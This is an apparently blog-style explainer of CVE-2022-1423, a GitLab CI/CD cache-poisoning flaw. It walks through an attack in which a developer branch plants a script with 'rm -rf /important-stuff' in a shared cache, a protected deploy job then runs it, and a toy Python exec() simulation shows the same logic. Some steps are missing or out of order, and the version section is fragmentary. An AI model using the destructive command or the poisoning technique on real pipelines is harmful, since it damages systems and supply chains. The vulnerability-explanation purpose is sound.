The security of Continuous Integration and Continuous Deployment (CI/CD) pipelines is a prime concern for developers and DevOps teams. When something goes wrong in the cache mechanisms, the repercussions can be massive. That’s the case with CVE-2022-1423, a critical bug affecting GitLab Community Edition (CE) and Enterprise Edition (EE). This post breaks down what happened, what makes this flaw dangerous, demonstrates an exploitation scenario with code, and shares links for deeper dives.

What’s CVE-2022-1423?

CVE-2022-1423 is a vulnerability in GitLab’s CI/CD cache mechanism—that system that saves build artifacts to speed up your jobs. The bug: improper access control allowed a project Developer (not just higher privileged Maintainers or Owners) to poison the cache and leak or run arbitrary code on protected branches. In other words, a regular developer could slip something nasty into a pipeline where only trusted code should run.

What Was the Problem?

In GitLab, protected branches are there to preserve mainline code—think main or release branches that should ONLY accept changes from trusted reviewers or automated systems. However, GitLab’s cache system did not properly distinguish between pipelines from untrusted sources and protected jobs. The cache could be shared between branches, so a developer could:

Trigger a pipeline for a protected branch, which re-uses the poisoned cache.

3. The protected-branch job would now run code or load files that originated from the developer’s castaway branch.

The attack leverages the fact that the cache key was not "scoped" per branch or pipeline privilege level, leading to cache poisoning.

The gitlab-ci.yml defines a cache for dependencies

cache:
  key: dependencies
  paths:
    - vendor/

2. Developer Poisoning the Cache

On their own branch, a Developer modifies a file in vendor/ that should NEVER contain scripts, and sneaks in a malicious shell script instead:

# In joe-feature branch
echo "rm -rf /important-stuff" > vendor/utility.sh
git add vendor/utility.sh
git commit -m 'Add useful tool'
git push origin joe-feature

In the CI job, the cache for vendor/ is stored with the generic key dependencies, available to all branches in that project.

3. Triggering the Poison on the Protected Branch

Now, a trusted Maintainer runs a job on the main branch—maybe a release or deployment. That job re-uses the same cache:

deploy:
  stage: deploy
  script:
    - bash vendor/utility.sh
  only:
    - main

Since the cache is shared and the key didn’t separate safe vs. unsafe branches, the poisoned utility.sh is loaded and executed! That’s how a normal Developer can hijack the CI job on a protected branch.

Below is a reduced Python proof-of-concept that simulates the logic flaw

def push_to_cache(branch, data):
    # All branches share 'dependencies' key
    cache['dependencies'] = {'branch': branch, 'data': data}

def run_protected_job(branch):
    # Loads cache without checking branch origin!
    cached = cache.get('dependencies', {})
    print(f"Deploying from {branch} using cached data from {cached['branch']}")
    # Potentially dangerous execution
    exec(cached['data'])

# Simulate malicious use
cache = {}

# Developer pushes to feature branch
push_to_cache('joe-feature', "print('Hacked! Deleting...')") 

# Maintainer triggers deployment on protected branch
run_protected_job('main')

Output

Deploying from main using cached data from joe-feature
Hacked! Deleting...


In real GitLab, instead of exec, you’d have a shell script run by the runner.

Privilege Escalation: Developers gain unwanted influence over protected branches.

- Supply Chain Threat: CI jobs could be used to push malicious code, leak secrets or even deploy altered files to production.

14.10.1

or any newer version.

GitLab advisory and patch notes

Further Reading

- Official GitLab Blog - Security Release
- NIST NVD Entry: CVE-2022-1423
- GitLab Issue Tracker

Final Thoughts

CVE-2022-1423 is a classic example of how small oversights in access control can become large-scale, remote code execution bugs. If you’re running GitLab and using CI/CD, make sure you’re patched, and revisit your cache keys and permissions. It’s a simple fix that closes a wide open door to your most critical code.

Timeline

Published on: 05/19/2022 18:15:00 UTC
Last modified on: 06/02/2022 16:09:00 UTC